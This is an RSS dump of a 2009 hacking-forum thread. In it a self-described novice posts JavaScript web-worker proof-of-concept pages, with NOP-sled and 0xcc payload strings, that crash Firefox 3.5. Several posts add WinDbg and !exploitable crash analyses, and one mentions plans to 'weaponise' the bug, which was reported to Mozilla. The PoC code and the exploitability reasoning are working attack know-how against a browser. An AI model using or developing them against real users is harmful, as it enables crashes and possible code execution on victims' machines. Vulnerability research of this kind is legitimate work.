<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>Firefox 3.5 JS Web Worker DoS - Debug Help</title>
        <description>Hello Sla.ckers,

This is my first post so please take it easy on me, I'm still learning.  I have a question regarding debugging firefox.  I have loaded the symbols from the symbol server and have some debug output; however, I am not sure what I am looking at.  I am curious if this code might lead to a possible exploit?  I have read a little on the recent heap spray and buffer overflow exploits on firefox and was thinking this might be along those lines.  Once again I am a newbie, so if you could point me in the right direction to research I would appreciate it.  My code:

index.html
-------------------------------------------
&amp;lt;!DOCTYPE HTML&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;DOS&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;h1&amp;gt;Please Wait, while I CRASH your Browser; it should not take long :)...&amp;lt;/h1&amp;gt;:&amp;lt;/p&amp;gt;&amp;lt;div id=&amp;quot;result&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;

    &amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
	
	var worker = new Worker(&amp;quot;workCRASH.js&amp;quot;);
	// Watch for messages from the worker
	worker.onmessage = function(event)
	{
	  // The message from the client:
		document.getElementById(&amp;quot;result&amp;quot;).textContent = event.data;
	};
	var buf = unescape(&amp;quot;AAAAAAAAAAAAAAAAAA%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090&amp;quot;); 
	worker.postMessage(buf);

    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;


workCRASH.js
-------------------------------------------------
onmessage = function(event){

var worker = new Worker(&amp;quot;workCRASH.js&amp;quot;);
	worker.onmessage = function(event)
	{	
			worker.postMessage(event.data.concat(event.data));
		postMessage(event.data.concat(event.data));
	};
	worker.postMessage(event.data.concat(event.data));
		postMessage(event.data.concat(event.data));

}

WinDbg Debug
-------------------------------------------
(1380.1234): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00000000`77874ea0 cc              int     3
0:018&amp;gt; g
(1380.1574): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
xul!XPCNativeSet::Mark:
00000000`70f978e6 0fb74602        movzx   eax,word ptr [esi+2] ds:002b:00000000`00000006=????

------------ Disassembly -------------------------------
xul!XPCNativeSet::Mark:
  572 xpcinlines.h         00000000`70f978e6 0fb74602        movzx   eax,word ptr [esi+2] ds:002b:00000000`00000006=????
  573 xpcinlines.h         00000000`70f978ea 6685c0          test    ax,ax


----------  VS Debug --------------

--- e:\builds\moz2_slave\win32_build\build\obj-firefox\dist\include\xpcom\nscomptr.h 
64C578C2 56               push        esi  
64C578C3 8B F1            mov         esi,ecx 
64C578C5 8B 06            mov         eax,dword ptr [esi] 
64C578C7 83 26 00         and         dword ptr [esi],0 
64C578CA 85 C0            test        eax,eax 
64C578CC 74 06            je          nsCOMPtr&amp;lt;nsIXPConnectJSObjectHolder&amp;gt;::StartAssignment+12h (64C578D4h) 
64C578CE 8B 08            mov         ecx,dword ptr [eax] 
64C578D0 50               push        eax  
64C578D1 FF 51 08         call        dword ptr [ecx+8] 
64C578D4 8B C6            mov         eax,esi 
64C578D6 5E               pop         esi  
64C578D7 C3               ret              
64C578D8 56               push        esi  
64C578D9 6A 00            push        0    
64C578DB 8B F1            mov         esi,ecx 
64C578DD E8 DE C6 E5 FF   call        nsCOMPtr_base::nsCOMPtr_base (64AB3FC0h) 
64C578E2 8B C6            mov         eax,esi 
64C578E4 5E               pop         esi  
64C578E5 C3               ret              
--- e:\builds\moz2_slave\win32_build\build\js\src\xpconnect\src\xpcinlines.h ---
64C578E6 0F B7 46 02      movzx       eax,word ptr [esi+2] 
64C578EA 66 85 C0         test        ax,ax 
64C578ED 78 1E            js          XPCNativeSet::Mark+27h (64C5790Dh) 
64C578EF 8D 56 04         lea         edx,[esi+4] 
64C578F2 0F B7 C8         movzx       ecx,ax 
64C578F5 EB 0C            jmp         XPCNativeSet::Mark+1Dh (64C57903h) 
64C578F7 8B 02            mov         eax,dword ptr [edx] 
64C578F9 66 81 48 08 00 80 or          word ptr [eax+8],8000h 

The thread 'Win32 Thread' (0x17b4) has exited with code 0 (0x0).
Unhandled exception at 0x64c578e6 (xul.dll) in firefox.exe: 0xC0000005: Access violation reading location 0x00000006.
First-chance exception at 0x64c578e6 (xul.dll) in firefox.exe: 0xC0000005: Access violation reading location 0x00000006.

Sorry for the long post... Just trying to learn here.

Thanks for the help and input.

Malloc(i)</description>
        <link>http://sla.ckers.org/forum/read.php?14,30128,30128#msg-30128</link>
        <lastBuildDate>Wed, 19 Jun 2013 06:11:59 -0500</lastBuildDate>
        <generator>Phorum 5.2.15a</generator>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,32060#msg-32060</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,32060#msg-32060</link>
            <description><![CDATA[Okay... so the http://www.mozilla.org/security/announce/2009/mfsa2009-54.html bug/exploit which I reported was &quot;Fixed&quot; in the new version  http://news.cnet.com/8301-30685_3-10385082-264.html FF3.5.4... or was it?  Check out my http://cybermediaplanet.com/security.html PoC and at http://wiki.austinhackers.org/2009-09-30-0x0024 AHA.]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Thu, 29 Oct 2009 14:26:43 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,31586#msg-31586</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,31586#msg-31586</link>
            <description><![CDATA[Like I said... the program should crash your browser; however, try it several times as it will crash on diffrent errors.  Part of the time it should display that Firefox was closed by DEP, which is most likly a very bad thing.  <br />
<br />
malloc(i)]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Thu, 24 Sep 2009 15:38:38 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,31584#msg-31584</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,31584#msg-31584</link>
            <description><![CDATA[This is just one version of the PoC I have been coding.  It is ugly code but should serve as an example to use for debugginf FF3.5.  Hope to get some feedback (crashes, debug, comments, ideas).<br />
<br />
-------------------------------------<br />
index.html<br />
-------------------------------------<br />
&lt;!DOCTYPE HTML&gt;<br />
&lt;html&gt;<br />
&lt;head&gt;<br />
    &lt;title&gt;DOS&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;p&gt;&lt;h1&gt;Please Wait, while I CRASH your Browser; it should not take long :)...&lt;/h1&gt;:&lt;/p&gt;&lt;div id=&quot;result&quot;&gt;&lt;/div&gt;<br />
<br />
    &lt;script type=&quot;text/javascript&quot;&gt;<br />
	var worker = new Worker(&quot;workCRASH.js&quot;);<br />
	<br />
	// Watch for messages from the worker<br />
	worker.onmessage = function(event)<br />
	{<br />
	  // The message from the client:<br />
	  //event.data<br />
	//	alert(document.domain + &quot; - &quot; + event.data);<br />
	//	window.location = 'index.html';<br />
	//	window.location = 'index.html';<br />
	//	window.open ('index.html');<br />
		document.getElementById(&quot;result&quot;).textContent = event.data;<br />
	};<br />
	//var buf = unescape(&quot;%u9090%u9090&quot;+&quot;%u9090%u9090&quot;+&quot;%u9090%u9090&quot;+&quot;%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090&quot;); <br />
	//var buf = unescape(&quot;%u0c0c%u0c0c&quot;); <br />
	var buf = unescape(&quot;\xcc\xcc\xcc\xcc&quot;); <br />
	var str = &quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;;<br />
	buf = buf+str;<br />
		worker.postMessage(buf);<br />
<br />
    &lt;/script&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;<br />
<br />
-----------------------------------------------------------<br />
workCRASH.js<br />
--------------------------------------------<br />
<br />
onmessage = function(event){<br />
<br />
<br />
var worker = new Worker(&quot;workCRASH.js&quot;);<br />
	worker.onmessage = function(event)<br />
	{	<br />
		var worker = new Worker(&quot;workCRASH-Test.js&quot;);<br />
		worker.onmessage = function(event)<br />
		{	<br />
			worker.postMessage(event.data.concat(event.data));<br />
			CollectGarbage();<br />
			postMessage(event.data.concat(event.data));<br />
			CollectGarbage();<br />
		};<br />
		worker.postMessage(event.data.concat(event.data));<br />
		postMessage(event.data.concat(event.data));<br />
	};<br />
<br />
	worker.postMessage(event.data.concat(event.data));<br />
	postMessage(event.data.concat(event.data));<br />
<br />
}<br />
<br />
-------------------------------------<br />
workCRASH-Test.js<br />
------------------------------------<br />
<br />
onmessage = function(event){<br />
<br />
var worker = new Worker(&quot;workCRASH-Test.js&quot;);<br />
	worker.onmessage = function(event)<br />
	{	<br />
//var nop = unescape(&quot;\x90\x90\x90\x90&quot;); <br />
<br />
		var str1 = &quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;;<br />
		var str2 = &quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;;<br />
		<br />
		worker.postMessage(event.data.concat(str1+str2));<br />
		postMessage(event.data.concat(str1+str2));<br />
	};<br />
<br />
	worker.postMessage(event.data.concat(event.data));<br />
		postMessage(event.data);<br />
<br />
}<br />
<br />
____________________________________<br />
<br />
The code is a mess right now... I have been fuzzing it with diffrent input.  Give it a go and let me know if it crashes your FF3.5 browser.  If you have any time to debug the crash please post some output.<br />
<br />
You might have to run the code a few times to get it to crash on a diffrent place then the xul!XPCNativeSet::Mark: error.  Like I said I have not had to much time to work on the code, it is mostly a jumbled mess right now.  I still am trying to find out how I can overwrite the registers.<br />
<br />
malloc(i)]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Thu, 24 Sep 2009 15:21:30 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,31583#msg-31583</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,31583#msg-31583</link>
            <description><![CDATA[Ok so how about posting the stages of code that made it exploitable, so far we can see the exploitable output but what did you change to make it exploitable?]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>DoS</category>
            <pubDate>Thu, 24 Sep 2009 14:51:28 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,31582#msg-31582</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,31582#msg-31582</link>
            <description><![CDATA[Any feedback would be appreciated ;)]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Thu, 24 Sep 2009 14:42:38 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,31581#msg-31581</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,31581#msg-31581</link>
            <description><![CDATA[This one is great as well.  It crashed firefox with a DEP notice:<br />
<br />
(22dc.169c): Access violation - code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.        <br />
int     3<br />
0:032&gt; !exploitable -v<br />
HostMachine\HostUser<br />
Executing Processor Architecture is x86<br />
Debuggee is in User Mode<br />
Debuggee is a live user mode debugging session on the local machine<br />
Event Type: Exception<br />
Exception Faulting Address: 0x630a0a0<br />
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)<br />
Exception Sub-Type: Data Execution Protection (DEP) Violation<br />
<br />
Exception Hash (Major/Minor): 0x5c220a7b.0x2c4b6872<br />
<br />
<br />
User mode DEP access violations are exploitable.]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Thu, 24 Sep 2009 14:34:15 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,31580#msg-31580</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,31580#msg-31580</link>
            <description><![CDATA[More !exploitable output:<br />
<br />
Description: Privileged Instruction Violation<br />
Short Description: PrivilegedInstruction<br />
Exploitability Classification: EXPLOITABLE<br />
Recommended Bug Title: Exploitable - Privileged Instruction Violation<br />
<br />
A privileged instruction exception indicates that the attacker controls execution flow.<br />
<br />
<br />
 Wait... I love that part &quot;A privileged instruction exception indicates that the attacker controls execution flow.&quot;  nice... very nice.]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Thu, 24 Sep 2009 14:32:17 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,31555#msg-31555</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,31555#msg-31555</link>
            <description><![CDATA[@Gareth<br />
Thanks for the comments... I'm still trying to figure this expoilt out.  I now need to try to weaponise the exploit, but that is another matter ;)]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Tue, 22 Sep 2009 16:20:40 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,31554#msg-31554</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,31554#msg-31554</link>
            <description><![CDATA[Awesome I'd knew you'd get there in the end!<br />
<br />
Nice thread, I wish sla.ckers had a dedicated access violation/heap section]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>DoS</category>
            <pubDate>Tue, 22 Sep 2009 16:03:03 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,31553#msg-31553</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,31553#msg-31553</link>
            <description><![CDATA[Yes... Yes,  I have a new PoC which seems to work from my limited testing.  I believe it may be some kind of race condition within the javascript web worker.  Either way, part of the time it crashes on the bug which I made mozilla aware of, the other part of the time it chrashes in an access violation error:<br />
<br />
User mode write access violations that are near NULL are probably exploitable.]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Tue, 22 Sep 2009 15:36:17 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,31552#msg-31552</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,31552#msg-31552</link>
            <description><![CDATA[I think it may be exploitable?<br />
<br />
(1698.544): Access violation - code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=7749039d ebx=00a63220 ecx=08fcf4a0 edx=62c1e9d8 esi=00000000 edi=07aeff10<br />
eip=62b93074 esp=0031eab4 ebp=08fcf050 iopl=0         nv up ei pl nz na po nc<br />
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202<br />
xul!XPCJSRuntime::GCCallback+0x2af824:<br />
62b93074 668148080080    or      word ptr [eax+8],8000h   ds:002b:774903a5=c933<br />
0:000&gt; !exploitable -v<br />
HostMachine\HostUser<br />
Executing Processor Architecture is x86<br />
Debuggee is in User Mode<br />
Debuggee is a live user mode debugging session on the local machine<br />
Event Type: Exception<br />
Exception Faulting Address: 0x774903a5<br />
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)<br />
Exception Sub-Type: Write Access Violation<br />
<br />
Exception Hash (Major/Minor): 0x1c775629.0x4e251d63<br />
<br />
Stack Trace:<br />
xul!XPCJSRuntime::GCCallback+0x2af824<br />
js3250!JS_HashTableEnumerateEntries+0x51<br />
xul!DOMGCCallback+0x18<br />
xul!jsds_GCCallbackProc+0x37<br />
js3250!js_GC+0x3a0<br />
nspr4!PR_Lock+0x17<br />
js3250!js_NewGCThing+0x42195<br />
js3250!JS_NewExternalString+0x14<br />
xul!XPCConvert::NativeData2JS+0x3ba<br />
xul!XPCWrappedNative::CallMethod+0x618<br />
xul!XPC_WN_GetterSetter+0x135<br />
js3250!js_Invoke+0x2c5<br />
js3250!js_InternalInvoke+0x119<br />
js3250!js_GetPropertyHelper+0x217<br />
js3250!js_Interpret+0xc6b<br />
js3250!js_Invoke+0x447<br />
xul!nsXPCWrappedJSClass::CallMethod+0x601<br />
xul!nsXPCWrappedJS::CallMethod+0x38<br />
xul!PrepareAndDispatch+0xe7<br />
xul!SharedStub+0x16<br />
xul!nsContentPolicy::CheckPolicy+0x68<br />
xul!nsContentPolicy::ShouldLoad+0x26<br />
xul!NS_CheckContentLoadPolicy+0xdc<br />
xul!nsDOMWorkerScriptLoader::RunInternal+0x1b8<br />
xul!nsDOMWorkerScriptLoader::Run+0x21<br />
xul!nsThread::ProcessNextEvent+0x253<br />
xul!nsBaseAppShell::Run+0x4a<br />
xul!nsAppStartup::Run+0x1e<br />
xul!XRE_main+0xe2c<br />
Unknown<br />
Instruction Address: 0x0000000062b93074<br />
<br />
Description: User Mode Write AV<br />
Short Description: WriteAV<br />
Exploitability Classification: EXPLOITABLE<br />
Recommended Bug Title: Exploitable - User Mode Write AV starting at xul!XPCJSRuntime::GCCallback+0x00000000002af824 (Hash=0x1c775629.0x4e251d63)<br />
<br />
User mode write access violations that are not near NULL are exploitable.]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Tue, 22 Sep 2009 15:17:31 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,30304#msg-30304</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,30304#msg-30304</link>
            <description><![CDATA[Okay... so after a little testing on my own I decided to turn to Mozilla to see if they might have any ideas.  After a week I got the following email from them:<br />
<br />
&quot;I poked at this a bit and I don't like it. Based your output it looks relatively benign, a near-null read and probable resource exhaustion (based on the testcase).<br />
<br />
I crashed in a few different spots, still &quot;near null&quot;, but sometimes during garbage collection, and a few times the &quot;near null&quot; was due to an integer overflow of adding 8 to a register containing 0xffffffff.<br />
crashing during garbage collection is usually a very bad sign. Although I didn't find any simple modifications that moved the crash around but I can't rule out the possibility of this being exploitable.<br />
<br />
I filed bug https://bugzilla.mozilla.org/show_bug.cgi?id=514554 and can give you access if you have a bugzilla account.&quot;<br />
<br />
So a bug has been filed under bugzilla and I am left with the same question... Exploitable or Not?  Once again if anyone has any ideas, or can point me in another direction to research I would appreciate it.  <br />
<br />
Thanks,<br />
malloc(i)]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Fri, 04 Sep 2009 14:19:59 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,30246#msg-30246</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,30246#msg-30246</link>
            <description><![CDATA[More Debug output:<br />
(484.5d0): Break instruction exception - code 80000003 (first chance)<br />
eax=7ffdb000 ebx=00000000 ecx=00000000 edx=7707f06d esi=00000000 edi=00000000<br />
eip=77032ea8 esp=077dfefc ebp=077dff28 iopl=0         nv up ei pl zr na pe nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246<br />
ntdll!DbgBreakPoint:<br />
77032ea8 cc              int     3<br />
0:017&gt; g<br />
(484.21c): Access violation - code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=69351350 ebx=0095d220 ecx=0c3ef500 edx=68e94d41 esi=00000002 edi=0412b190<br />
eip=68d3e528 esp=002bee40 ebp=0c3ef0d0 iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202<br />
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Mozilla Firefox\xul.dll - <br />
xul!gfxIntSize::operator++0x548:<br />
68d3e528 0fb74602        movzx   eax,word ptr [esi+2]     ds:0023:00000004=????<br />
0:000&gt; !load C:\Program Files\Debugging Tools for Windows (x86)\winext\msec.dll<br />
0:000&gt; !exploitable -v<br />
HostMachine\HostUser<br />
Executing Processor Architecture is x86<br />
Debuggee is in User Mode<br />
Debuggee is a live user mode debugging session on the local machine<br />
Event Type: Exception<br />
Exception Faulting Address: 0x4<br />
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)<br />
Exception Sub-Type: Read Access Violation<br />
<br />
Faulting Instruction:68d3e528 movzx eax,word ptr [esi+2]<br />
<br />
Basic Block:<br />
    68d3e528 movzx eax,word ptr [esi+2]<br />
       Tainted Input Operands: esi<br />
    68d3e52c test ax,ax<br />
       Tainted Input Operands: ax<br />
    68d3e52f js xul!gfxintsize::operator++0x56f (68d3e54f)<br />
       Tainted Input Operands: SignFlag<br />
<br />
Exception Hash (Major/Minor): 0x292d0328.0x682d1116<br />
<br />
Stack Trace:<br />
xul!gfxIntSize::operator++0x548<br />
xul!gfxPlatform::operator=+0xc4b9f<br />
xul!gfxWindowsSurface::GetDefaultContextFlags+0x38b5<br />
js3250!js_GC+0x3a0<br />
Instruction Address: 0x0000000068d3e528<br />
<br />
Description: Data from Faulting Address controls Branch Selection<br />
Short Description: TaintedDataControlsBranchSelection<br />
Exploitability Classification: UNKNOWN<br />
Recommended Bug Title: Data from Faulting Address controls Branch Selection starting at xul!gfxIntSize::operator++0x0000000000000548 (Hash=0x292d0328.0x682d1116)<br />
<br />
The data from the faulting address is later used to determine whether or not a branch is taken.<br />
0:000&gt; t<br />
eax=69351350 ebx=0095d220 ecx=0c3ef500 edx=68e94d41 esi=00000002 edi=0412b190<br />
eip=77050e89 esp=002beb50 ebp=0c3ef0d0 iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202<br />
ntdll!KiUserExceptionDispatcher+0x1:<br />
77050e89 8b4c2404        mov     ecx,dword ptr [esp+4] ss:0023:002beb54=002beb74<br />
0:000&gt; t<br />
eax=69351350 ebx=0095d220 ecx=002beb74 edx=68e94d41 esi=00000002 edi=0412b190<br />
eip=77050e8d esp=002beb50 ebp=0c3ef0d0 iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202<br />
ntdll!KiUserExceptionDispatcher+0x5:<br />
77050e8d 8b1c24          mov     ebx,dword ptr [esp]  ss:0023:002beb50=002beb58<br />
0:000&gt; g<br />
(484.21c): Access violation - code c0000005 (!!! second chance !!!)<br />
eax=69351350 ebx=0095d220 ecx=0c3ef500 edx=68e94d41 esi=00000002 edi=0412b190<br />
eip=68d3e528 esp=002bee40 ebp=0c3ef0d0 iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202<br />
xul!gfxIntSize::operator++0x548:<br />
<br />
------------------------------------<br />
<br />
One interesting part which I noticed is the access violation occurs at the same address location which is stored in the eip register.  I am still new to this debugging of a crash; however, I am willing to learn.  <br />
<br />
eip=68d3e528<br />
<br />
68d3e528 0fb74602        movzx   eax,word ptr [esi+2]     ds:0023:00000004=????<br />
<br />
Any ideas?<br />
malloc(i)]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Wed, 02 Sep 2009 12:40:36 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,30243#msg-30243</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,30243#msg-30243</link>
            <description><![CDATA[So I set up a Vista instance under a VM and disabled DEP just for testing.  I got the following dump from WinDbg when passing in a nop sled (&quot;%u9090&quot;):<br />
<br />
(ac8.e10): Break instruction exception - code 80000003 (first chance)<br />
eax=7ffac000 ebx=00000000 ecx=00000000 edx=7707f06d esi=00000000 edi=00000000<br />
eip=77032ea8 esp=0572fcf4 ebp=0572fd20 iopl=0         nv up ei pl zr na pe nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246<br />
ntdll!DbgBreakPoint:<br />
77032ea8 cc              int     3<br />
0:015&gt; g<br />
ModLoad: 74f70000 74f76000   C:\Windows\System32\wship6.dll<br />
ModLoad: 71b40000 71b46000   C:\Windows\system32\rasadhlp.dll<br />
(ac8.38c): C++ EH exception - code e06d7363 (first chance)<br />
(ac8.38c): C++ EH exception - code e06d7363 (!!! second chance !!!)<br />
eax=0024aab8 ebx=00348000 ecx=00000003 edx=00000000 esi=7a300000 edi=7a30000c<br />
eip=7716b09e esp=0024aab8 ebp=0024ab08 iopl=0         nv up ei pl nz ac pe nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216<br />
kernel32!RaiseException+0x58:<br />
7716b09e c9              leave <br />
<br />
I will try to run some more tests latter this week,... looks interesting.<br />
<br />
Once again if anyone has any feedback or suggestions please post them to let me know.<br />
<br />
Thanks,<br />
malloc(i)]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Wed, 02 Sep 2009 11:43:03 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,30203#msg-30203</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,30203#msg-30203</link>
            <description><![CDATA[If I change the index.html code to the following firefox does not crash right away but rather stalls and creates a memory leak.???  I am trying different inputs for my code and getting very different results and crashes depending on the input.  If anyone is willing to try fuzzing input for the code and see what type of results they are getting in FF3.5 I would appreciate it.  I am just curious if different results/crashes might be found and how varied those results might be.  Thanks for the help and feedback.  <br />
<br />
Malloc(i)<br />
<br />
 &lt;script type=&quot;text/javascript&quot;&gt;<br />
	<br />
	var worker = new Worker(&quot;workCRASH.js&quot;);<br />
<br />
	worker.onmessage = function(event)<br />
	{<br />
<br />
		document.getElementById(&quot;result&quot;).textContent = event.data;<br />
	};<br />
	var buf = unescape(&quot;!@#$%^&amp;*()_+&quot;); <br />
	var str = unescape(&quot;&quot;);<br />
        buf = buf+str;<br />
	worker.postMessage(buf);<br />
    &lt;/script&gt;]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Mon, 31 Aug 2009 11:41:29 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,30156#msg-30156</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,30156#msg-30156</link>
            <description><![CDATA[@Gareth Heyes<br />
<br />
Thanks for the reply.  I will try to throw some different values in and see what happens.  Sort of fuzzing the input passed in to my code I guess?  Anyway, I appreciate your feedback and will try some different values in my code.  I am far from an expert as well; this is my first attempt at debugging a crash.  <br />
<br />
If anyone has any more ideas or input I am open to suggestions. <br />
<br />
Thanks,<br />
<br />
Malloc(i)]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Fri, 28 Aug 2009 13:29:28 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,30154#msg-30154</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,30154#msg-30154</link>
            <description><![CDATA[@malloci<br />
<br />
Well that's the key in bug finding, you've got to make it exploitable. If you can influence the value of ds:002b:00000006=???? to be a section of memory then it may be exploitable. Try using different values in the code and see how exploitable reacts. BTW I'm not saying I'm an expert I'm still learning in this area]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>DoS</category>
            <pubDate>Fri, 28 Aug 2009 12:20:46 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,30152#msg-30152</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,30152#msg-30152</link>
            <description><![CDATA[Okay... so I compiled the source code for !exploitable &quot;!exploitable (pronounced “bang exploitable”) is a Windows debugging extension (Windbg) that provides automated crash analysis and security risk assessment.&quot;(http://msecdbg.codeplex.com/)  and put the msce.dll in the Windows Debugger winext sub-directory.  After running my code WinDbg gave me the following output using !expolitable:<br />
<br />
<br />
(e08.a54): Break instruction exception - code 80000003 (first chance)<br />
eax=7ef9d000 ebx=00000000 ecx=00000000 edx=77a3d2d4 esi=00000000 edi=00000000<br />
eip=779e0004 esp=0a08fc5c ebp=0a08fc88 iopl=0         nv up ei pl zr na pe nc<br />
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246<br />
ntdll!DbgBreakPoint:<br />
779e0004 cc              int     3<br />
0:015&gt; !load C:\Program Files (x86)\Debugging Tools for Windows (x86)\winext\MSEC.dll<br />
0:015&gt; g<br />
(e08.1390): Access violation - code c0000005 (first chance)<br />
